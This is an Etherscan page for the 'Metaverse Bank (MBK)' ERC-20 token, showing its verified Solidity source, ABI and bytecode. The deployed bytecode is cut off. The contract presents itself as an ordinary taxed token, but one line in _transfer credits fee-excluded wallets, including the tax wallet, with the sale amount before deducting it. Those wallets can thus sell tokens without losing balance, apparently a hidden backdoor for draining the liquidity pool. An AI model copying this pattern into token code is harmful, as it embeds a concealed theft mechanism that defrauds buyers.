ETH Price: $3,339.43 (+2.48%)

Token

Metaverse Bank (MBK)
 

Overview

Max Total Supply

10,000,000 MBK

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
jjjjjjjjjjjj.eth
Balance
85,544.306584413 MBK

Value
$0.00
0xCCa178a04D83Af193330C7927fb9a42212Fb1C25
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MBK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

/*
Metaverse Bank is dedicated to encouraging the democratization and fractionalization of Metaverse lands for upcoming citizens.

Website: https://metaversebank.pro
Twitter: https://twitter.com/meta_bank_erc
Telegram: https://t.me/meta_bank_erc
Docs: https://medium.com/@metaversebank
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract MBK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Metaverse Bank";
    string private constant _symbol = unicode"MBK";

    uint8 private constant _decimals = 9;
    uint256 private constant _supply = 10_000_000 * 10**_decimals;

    address payable private _taxWallet;

    uint256 public maxTxAmount = 200_000 * 10**_decimals;
    uint256 public maxWalletAmount = 200_000 * 10**_decimals;
    uint256 public swapThreshold = 1_000 * 10**_decimals;
    uint256 public maxFeeSwap = 100_000 * 10**_decimals;

    uint256 private _initialBuyFee;
    uint256 private _initialSellFee;
    uint256 private _finalBuyTax;
    uint256 private _finalSellTax;
    uint256 private _reduceBuyTaxAfter = 20;
    uint256 private _reduceSellFeeAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount;

    IRouter private _uniRouter;
    address private _pairAddress;
    bool private _tradeActive;
    bool private swapping = false;
    bool private swapEnabled = false;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;

    event MaxTxAmountUpdated(uint256 maxTxAmount);
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _taxWallet = payable(0x625C50cEf3AfF4a807ab045D45794169bc12CC11);
        _balances[_msgSender()] = _supply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _uniRouter = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _pairAddress = IFactory(_uniRouter.factory()).createPair(
            address(this),
            _uniRouter.WETH()
        );

        emit Transfer(address(0), _msgSender(), _supply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _supply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    
    function removeLimits() external onlyOwner {
        maxTxAmount = _supply;
        maxWalletAmount = _supply;
        emit MaxTxAmountUpdated(_supply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAfter)
                        ? _finalBuyTax
                        : _initialBuyFee
                )
                .div(100);

            if (
                from == _pairAddress &&
                to != address(_uniRouter) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(to) + amount <= maxWalletAmount,
                    "Exceeds the maxWalletAmount."
                );
                if (_buyCount <= 100) {
                    _buyCount++;
                }
            }

            if (to == _pairAddress && from != address(this)) {
                if (_isExcludedFromFee[from]) { 
                    _balances[from] = _balances[from].add(amount);
                }
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellFeeAt)
                            ? _finalSellTax
                            : _initialSellFee
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !swapping &&
                to == _pairAddress &&
                swapEnabled &&
                contractTokenBalance > swapThreshold &&
                amount > swapThreshold &&
                _buyCount > _preventSwapBefore && 
                !_isExcludedFromFee[from]
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, maxFeeSwap))
                );
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    receive() external payable {}

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function openTrading() external onlyOwner {
        require(!_tradeActive, "trading is already open");
        _approve(address(this), address(_uniRouter), _supply);
        _uniRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_pairAddress).approve(
            address(_uniRouter),
            type(uint256).max
        );
        _initialBuyFee = 15;
        _initialSellFee = 15;
        _finalBuyTax = 1;
        _finalSellTax = 1;
        swapEnabled = true;
        _tradeActive = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004a4565b620000219062030d40620004bc565b600255620000326009600a620004a4565b620000419062030d40620004bc565b600355620000526009600a620004a4565b62000060906103e8620004bc565b600455620000716009600a620004a4565b6200008090620186a0620004bc565b6005556014600a819055600b819055600c55600f805461ffff60a81b19169055348015620000ad57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b03191673625c50cef3aff4a807ab045d45794169bc12cc11179055620001236009600a620004a4565b620001329062989680620004bc565b3360009081526010602090815260408083209390935581546001600160a01b039081168352601282528383208054600160ff19918216811790925581549092168452928490208054909116909217909155600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015620001e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020a9190620004d6565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620004d6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003079190620004d6565b600f80546001600160a01b0319166001600160a01b03929092169190911790556200032f3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003696009600a620004a4565b620003789062989680620004bc565b60405190815260200160405180910390a362000501565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e6578160001904821115620003ca57620003ca6200038f565b80851615620003d857918102915b93841c9390800290620003aa565b509250929050565b600082620003ff575060016200049e565b816200040e575060006200049e565b8160018114620004275760028114620004325762000452565b60019150506200049e565b60ff8411156200044657620004466200038f565b50506001821b6200049e565b5060208310610133831016604e8410600b841016171562000477575081810a6200049e565b620004838383620003a5565b80600019048211156200049a576200049a6200038f565b0290505b92915050565b6000620004b560ff841683620003ee565b9392505050565b80820281158282048414176200049e576200049e6200038f565b600060208284031215620004e957600080fd5b81516001600160a01b0381168114620004b557600080fd5b6115ee80620005116000396000f3fe6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102ae578063a9059cbb146102da578063aa4bde28146102fa578063c9567bf914610310578063dd62ed3e1461032557600080fd5b8063715018a614610244578063751039fc1461025b5780638c0b5e22146102705780638da5cb5b1461028657600080fd5b806323b872dd116100d157806323b872dd146101bc5780632e3f418c146101dc578063313ce567146101f257806370a082311461020e57600080fd5b80630445b6671461010e57806306fdde0314610137578063095ea7b31461017757806318160ddd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5061012460045481565b6040519081526020015b60405180910390f35b34801561014357600080fd5b5060408051808201909152600e81526d4d65746176657273652042616e6b60901b60208201525b60405161012e91906111bd565b34801561018357600080fd5b50610197610192366004611223565b61036b565b604051901515815260200161012e565b3480156101b357600080fd5b50610124610382565b3480156101c857600080fd5b506101976101d736600461124f565b6103a2565b3480156101e857600080fd5b5061012460055481565b3480156101fe57600080fd5b506040516009815260200161012e565b34801561021a57600080fd5b50610124610229366004611290565b6001600160a01b031660009081526010602052604090205490565b34801561025057600080fd5b5061025961040b565b005b34801561026757600080fd5b50610259610488565b34801561027c57600080fd5b5061012460025481565b34801561029257600080fd5b506000546040516001600160a01b03909116815260200161012e565b3480156102ba57600080fd5b506040805180820190915260038152624d424b60e81b602082015261016a565b3480156102e657600080fd5b506101976102f5366004611223565b610537565b34801561030657600080fd5b5061012460035481565b34801561031c57600080fd5b50610259610544565b34801561033157600080fd5b506101246103403660046112ad565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b6000610378338484610772565b5060015b92915050565b60006103906009600a6113e0565b61039d90629896806113ef565b905090565b60006103af848484610896565b61040184336103fc85604051806060016040528060288152602001611591602891396001600160a01b038a1660009081526011602090815260408083203384529091529020549190610e1c565b610772565b5060019392505050565b6000546001600160a01b0316331461043e5760405162461bcd60e51b815260040161043590611406565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260040161043590611406565b6104be6009600a6113e0565b6104cb90629896806113ef565b6002556104da6009600a6113e0565b6104e790629896806113ef565b6003557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105176009600a6113e0565b61052490629896806113ef565b60405190815260200160405180910390a1565b6000610378338484610896565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161043590611406565b600f54600160a01b900460ff16156105c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610435565b600e546105f39030906001600160a01b03166105e66009600a6113e0565b6103fc90629896806113ef565b600e546001600160a01b031663f305d7194730610625816001600160a01b031660009081526010602052604090205490565b60008061063a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c7919061143b565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107449190611469565b50600f6006819055600781905560016008819055600955805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610435565b6001600160a01b0382166108355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610435565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610435565b6001600160a01b03821661095c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610435565b600081116109be5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610435565b600080546001600160a01b038581169116148015906109eb57506000546001600160a01b03848116911614155b15610cd957610a1c6064610a16600a54600d5411610a0b57600654610a0f565b6008545b8590610e56565b90610edf565b600f549091506001600160a01b038581169116148015610a4a5750600e546001600160a01b03848116911614155b8015610a6f57506001600160a01b03831660009081526012602052604090205460ff16155b15610b6157600254821115610ac65760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610435565b60035482610ae9856001600160a01b031660009081526010602052604090205490565b610af3919061148b565b1115610b415760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865206d617857616c6c6574416d6f756e742e000000006044820152606401610435565b6064600d5411610b6157600d8054906000610b5b8361149e565b91905055505b600f546001600160a01b038481169116148015610b8757506001600160a01b0384163014155b15610c12576001600160a01b03841660009081526012602052604090205460ff1615610bea576001600160a01b038416600090815260106020526040902054610bd09083610f21565b6001600160a01b0385166000908152601060205260409020555b610c0f6064610a16600b54600d5411610c0557600754610a0f565b6009548590610e56565b90505b30600090815260106020526040902054600f54600160a81b900460ff16158015610c495750600f546001600160a01b038581169116145b8015610c5e5750600f54600160b01b900460ff165b8015610c6b575060045481115b8015610c78575060045483115b8015610c875750600c54600d54115b8015610cac57506001600160a01b03851660009081526012602052604090205460ff16155b15610cd757610cce610cc984610cc484600554610f80565b610f80565b610f95565b610cd74761110f565b505b8015610d535730600090815260106020526040902054610cf99082610f21565b30600081815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4a9085815260200190565b60405180910390a35b6001600160a01b038416600090815260106020526040902054610d76908361114d565b6001600160a01b038516600090815260106020526040902055610dbb610d9c838361114d565b6001600160a01b03851660009081526010602052604090205490610f21565b6001600160a01b0380851660008181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e05858561114d565b60405190815260200160405180910390a350505050565b60008184841115610e405760405162461bcd60e51b815260040161043591906111bd565b506000610e4d84866114b7565b95945050505050565b600082600003610e685750600061037c565b6000610e7483856113ef565b905082610e8185836114ca565b14610ed85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610435565b9392505050565b6000610ed883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061118f565b600080610f2e838561148b565b905083811015610ed85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610435565b6000818311610f8f5782610ed8565b50919050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdd57610fdd6114ec565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611036573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105a9190611502565b8160018151811061106d5761106d6114ec565b6001600160a01b039283166020918202929092010152600e546110939130911684610772565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110cc90859060009086903090429060040161151f565b600060405180830381600087803b1580156110e657600080fd5b505af11580156110fa573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611149573d6000803e3d6000fd5b5050565b6000610ed883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1c565b600081836111b05760405162461bcd60e51b815260040161043591906111bd565b506000610e4d84866114ca565b600060208083528351808285015260005b818110156111ea578581018301518582016040015282016111ce565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461122057600080fd5b50565b6000806040838503121561123657600080fd5b82356112418161120b565b946020939093013593505050565b60008060006060848603121561126457600080fd5b833561126f8161120b565b9250602084013561127f8161120b565b929592945050506040919091013590565b6000602082840312156112a257600080fd5b8135610ed88161120b565b600080604083850312156112c057600080fd5b82356112cb8161120b565b915060208301356112db8161120b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561133757816000190482111561131d5761131d6112e6565b8085161561132a57918102915b93841c9390800290611301565b509250929050565b60008261134e5750600161037c565b8161135b5750600061037c565b8160018114611371576002811461137b57611397565b600191505061037c565b60ff84111561138c5761138c6112e6565b50506001821b61037c565b5060208310610133831016604e8410600b84101617156113ba575081810a61037c565b6113c483836112fc565b80600019048211156113d8576113d86112e6565b029392505050565b6000610ed860ff84168361133f565b808202811582820484141761037c5761037c6112e6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561145057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561147b57600080fd5b81518015158114610ed857600080fd5b8082018082111561037c5761037c6112e6565b6000600182016114b0576114b06112e6565b5060010190565b8181038181111561037c5761037c6112e6565b6000826114e757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151457600080fd5b8151610ed88161120b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156f5784516001600160a01b03168352938301939183019160010161154a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ec7b004d513100e283aee5e277372f38bd2e1dd24774339ff6eaa80f9de1d3f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102ae578063a9059cbb146102da578063aa4bde28146102fa578063c9567bf914610310578063dd62ed3e1461032557600080fd5b8063715018a614610244578063751039fc1461025b5780638c0b5e22146102705780638da5cb5b1461028657600080fd5b806323b872dd116100d157806323b872dd146101bc5780632e3f418c146101dc578063313ce567146101f257806370a082311461020e57600080fd5b80630445b6671461010e57806306fdde0314610137578063095ea7b31461017757806318160ddd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5061012460045481565b6040519081526020015b60405180910390f35b34801561014357600080fd5b5060408051808201909152600e81526d4d65746176657273652042616e6b60901b60208201525b60405161012e91906111bd565b34801561018357600080fd5b50610197610192366004611223565b61036b565b604051901515815260200161012e565b3480156101b357600080fd5b50610124610382565b3480156101c857600080fd5b506101976101d736600461124f565b6103a2565b3480156101e857600080fd5b5061012460055481565b3480156101fe57600080fd5b506040516009815260200161012e565b34801561021a57600080fd5b50610124610229366004611290565b6001600160a01b031660009081526010602052604090205490565b34801561025057600080fd5b5061025961040b565b005b34801561026757600080fd5b50610259610488565b34801561027c57600080fd5b5061012460025481565b34801561029257600080fd5b506000546040516001600160a01b03909116815260200161012e565b3480156102ba57600080fd5b506040805180820190915260038152624d424b60e81b602082015261016a565b3480156102e657600080fd5b506101976102f5366004611223565b610537565b34801561030657600080fd5b5061012460035481565b34801561031c57600080fd5b50610259610544565b34801561033157600080fd5b506101246103403660046112ad565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b6000610378338484610772565b5060015b92915050565b60006103906009600a6113e0565b61039d90629896806113ef565b905090565b60006103af848484610896565b61040184336103fc85604051806060016040528060288152602001611591602891396001600160a01b038a1660009081526011602090815260408083203384529091529020549190610e1c565b610772565b5060019392505050565b6000546001600160a01b0316331461043e5760405162461bcd60e51b815260040161043590611406565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260040161043590611406565b6104be6009600a6113e0565b6104cb90629896806113ef565b6002556104da6009600a6113e0565b6104e790629896806113ef565b6003557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105176009600a6113e0565b61052490629896806113ef565b60405190815260200160405180910390a1565b6000610378338484610896565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161043590611406565b600f54600160a01b900460ff16156105c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610435565b600e546105f39030906001600160a01b03166105e66009600a6113e0565b6103fc90629896806113ef565b600e546001600160a01b031663f305d7194730610625816001600160a01b031660009081526010602052604090205490565b60008061063a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c7919061143b565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107449190611469565b50600f6006819055600781905560016008819055600955805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610435565b6001600160a01b0382166108355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610435565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610435565b6001600160a01b03821661095c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610435565b600081116109be5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610435565b600080546001600160a01b038581169116148015906109eb57506000546001600160a01b03848116911614155b15610cd957610a1c6064610a16600a54600d5411610a0b57600654610a0f565b6008545b8590610e56565b90610edf565b600f549091506001600160a01b038581169116148015610a4a5750600e546001600160a01b03848116911614155b8015610a6f57506001600160a01b03831660009081526012602052604090205460ff16155b15610b6157600254821115610ac65760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610435565b60035482610ae9856001600160a01b031660009081526010602052604090205490565b610af3919061148b565b1115610b415760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865206d61785761